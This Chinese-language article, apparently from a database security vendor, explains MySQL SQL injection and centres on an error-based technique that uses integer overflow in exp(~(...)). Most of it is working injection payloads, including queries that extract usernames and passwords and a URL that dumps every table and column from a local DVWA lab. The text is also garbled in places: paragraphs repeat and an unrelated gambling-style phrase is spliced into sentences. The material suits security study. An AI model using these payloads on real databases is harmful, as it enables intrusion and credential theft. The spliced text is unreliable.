mysql数据库在国内的市场占有量仅次于oracle,排名第二。正因如此广泛的使用,mysql数据库被曝出的安全漏洞数量同样较高。安华金和2016年数据库漏洞报告中指出,从可统计的k8凯发游戏漏洞分布情况来看,mysql的漏洞数量开始超越oracle,成为漏洞数量最多的数据库类型,这表示由于使用人数增多,被发现的漏洞数量也随之提高,而k8凯发游戏漏洞的存在,也成为黑客们sql注入最佳途径。本文将对mysql中的sql注入手段进行简单介绍。
mysql的sql注入从技术角度主要可以分为7类技术手段:
1.常用mysql注入(select)
2.常用mysql注入(insert、update)
3.mysql 报错注入
4.mysql常规盲注
5.mysql时间盲注
6.mysql数据库版本特征注入
7.mysql其他注入技巧
osanda malith jayathissa 发现的这个漏洞属于报错注入的一种,作者通过构筑整数溢出来导致出现报错信息。利用select ~0来获取最大整数值,然后select ~0 1 就可以达到溢出的目的。这说明只要用函数构筑0和1就可以达到让目标函数缓冲区溢出的目的。
0的逻辑非就是1,任何一个查询成功的返回值都是0所以我们可以利用这种方式来执行我们希望执行的操作。
注意看上图中的报错信息。在报错信息中可以获取到我们希望执行的select user();的结果,但同时我们也发现存在一个限制,就是报错信息只能返回极少的行数,这一点可以通过limit x,y函数来解决。
作者同时给出了下面这些获取表名、列名、数据方法的例子。
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
注意看上图中的报错信息。在报错信息中可以获取到我们希望执行的select user();的结果,但同时我们也发现存在一个限制,就是报错信息只能返回极少的行数,这一点可以通过limit x,y函数来解决。
作者同时给出了下面这些获取表名、列名、数据方法的例子。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&submit=submit#
下面这个查询可以从当前的上下文中dump出所有的tables与columns,我们也可以dump出所有的数据库。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&submit=submit#
在了解了初步的sql注入技术手段后,我们将在后文中进一步介绍,如何利用mysql中的安全漏洞进行sql注入,以及如何使用适当的k8凯发游戏技术防护此类攻击。
试用申请